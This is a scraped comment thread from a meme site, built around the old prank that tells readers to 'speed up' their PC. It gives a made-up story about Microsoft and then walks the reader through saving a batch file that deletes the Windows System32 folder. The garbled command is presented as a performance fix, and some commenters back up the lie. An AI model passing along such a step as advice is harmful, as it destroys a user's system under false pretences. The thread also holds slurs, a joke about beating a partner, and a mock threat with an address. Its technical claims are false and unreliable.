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Want to speed up your comp?

Okay newfags, listen up.
When Microsoft was first getting started, they knew they
wouldn' t make enough money just from the profits of their
operating system. Everybody knows people pirate Windows.
So they had to get creative. A guy named Chris Liddel came
up with the idea to put a folder called "'' in the win-
doves folder that literally slows down your machineporn pur-
pose. '' holds 32 GIGABYTES of deleted files, inter-
net history, uninstalled programs, and other worthless crap
that intentionally clogs up your machine, Why did they do it?
Because Microsoft owns several PC "cleaning" tools, like
Tuneup Utilises, Norton Antivirus, ete. More money for
them. /h/ isn' t cool with that, however. Here' s how to out-
smart those assholes once and for all:
Open Notepad
Type the following text:
echo off
del C:\\ WIN DOWS\ system's
Save as "speedup. bat" (select "all files" instead of "text document"
Doubleclick the 1: rat file
Reboot, and your PC is twice as fast. (You didn' t hear it from us.)
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#69 - anonymous (05/27/2011) [+] (3 replies)
I got one of my ex gfs to do this. 10 points if you can guess why she's my ex :S
#72 to #69 - beastarro (05/27/2011) [-]
because you used to get drunk and beat her savagely
User avatar #77 - scroogeymcduck (05/27/2011) [+] (3 replies)
DONT DO IT. ITLL MAKE YOUR COMPUTER TOO ******* FAST. I TYPED THIS IN HALF A SECOND.
#53 - TheDave (05/27/2011) [+] (1 reply)
Aw, now don't do this.

This is what sets us apart from /b/

We're only supposed to be assholes, not cunt scum.
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#40 - spankypants **User deleted account** has deleted their comment [+] (5 replies)
#320 - SilverBladeMaster (05/28/2011) [+] (4 replies)
Reaction if you fell for it.
Reaction if you fell for it.
#321 to #320 - SilverBladeMaster (05/28/2011) [-]
Reaction if you didnt
Reaction if you didnt
#418 - karidagur (05/28/2011) [-]
NICE im going to try it brb  
  
  
never comes back
NICE im going to try it brb


never comes back
#319 - qasman (05/28/2011) [+] (5 replies)
Thanks man I'm doing this as we spe
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#290 - notaponyhater **User deleted account** has deleted their comment [-]
#448 - lynchdude (05/28/2011) [+] (4 replies)
oh god it was a lie!
oh god it was a lie!
#419 - coolnamemagee (05/28/2011) [+] (2 replies)
That's pretty messed up. Some people here are actually stupid enough to believe you...
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User avatar #540 - LegitSbs (05/28/2011) [-]
System 32 is your whole computer. Dont delete it. The trolls are thumbing down my posts because they want you to destroy your computer. Go even google "What happens if you delete System32? Yahoo answers".
#422 - fuckyeahpidgey (05/28/2011) [-]
Well, at least this roots out some of the idiots.
#350 - yeshomo (05/28/2011) [-]
gotta mac..
#489 - mathiasfirenze (05/28/2011) [-]
sounds legit
#439 - steelflexx (05/28/2011) [+] (10 replies)
you're an asshole. i almost did this since i had no idea what system 32 is. but because of that, i googled it. you could have ruined everything. and there might even be a couple idiots that actually did do this. you are the ultimate troll.  
<--- you.
you're an asshole. i almost did this since i had no idea what system 32 is. but because of that, i googled it. you could have ruined everything. and there might even be a couple idiots that actually did do this. you are the ultimate troll.
<--- you.
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User avatar #585 to #576 - SkidPig (05/28/2011) [-]
You think we're stupid, Just did it and my computer runs like a boss. Nobody listen to this guy, He's just a newfag.
User avatar #470 - themanwithnoplan ONLINE (05/28/2011) [-]
I'm not going to fall for that for the 3rd time!
#219 - ButteredToast (05/27/2011) [+] (2 replies)
Wait, my Mac doesn't have system32.
Wait, my Mac doesn't have system32.
User avatar #229 to #219 - antistar (05/27/2011) [-]
Wait, you have a Mac.
#198 - salmonwellington (05/27/2011) [+] (23 replies)
**** YOU POTSER U FUKIN FAGOT IMA FND U ND KILL U IM IN A GANG ND U BROK MY FUKKIN COMP U ******* I M POSTIN FROM MY FONE MY MOM IS SO PISED OF OMFG

HERES MY ADDRESS
1149 rutner st topeka kansis MY NAEM IS JIM BUT MY HOMIEZZZ CALL ME SLIM COME TO MY HOOD ILL BEAT UR ASS IM 13 YRS OLD AND 5 FT 4 IL FUK U UP
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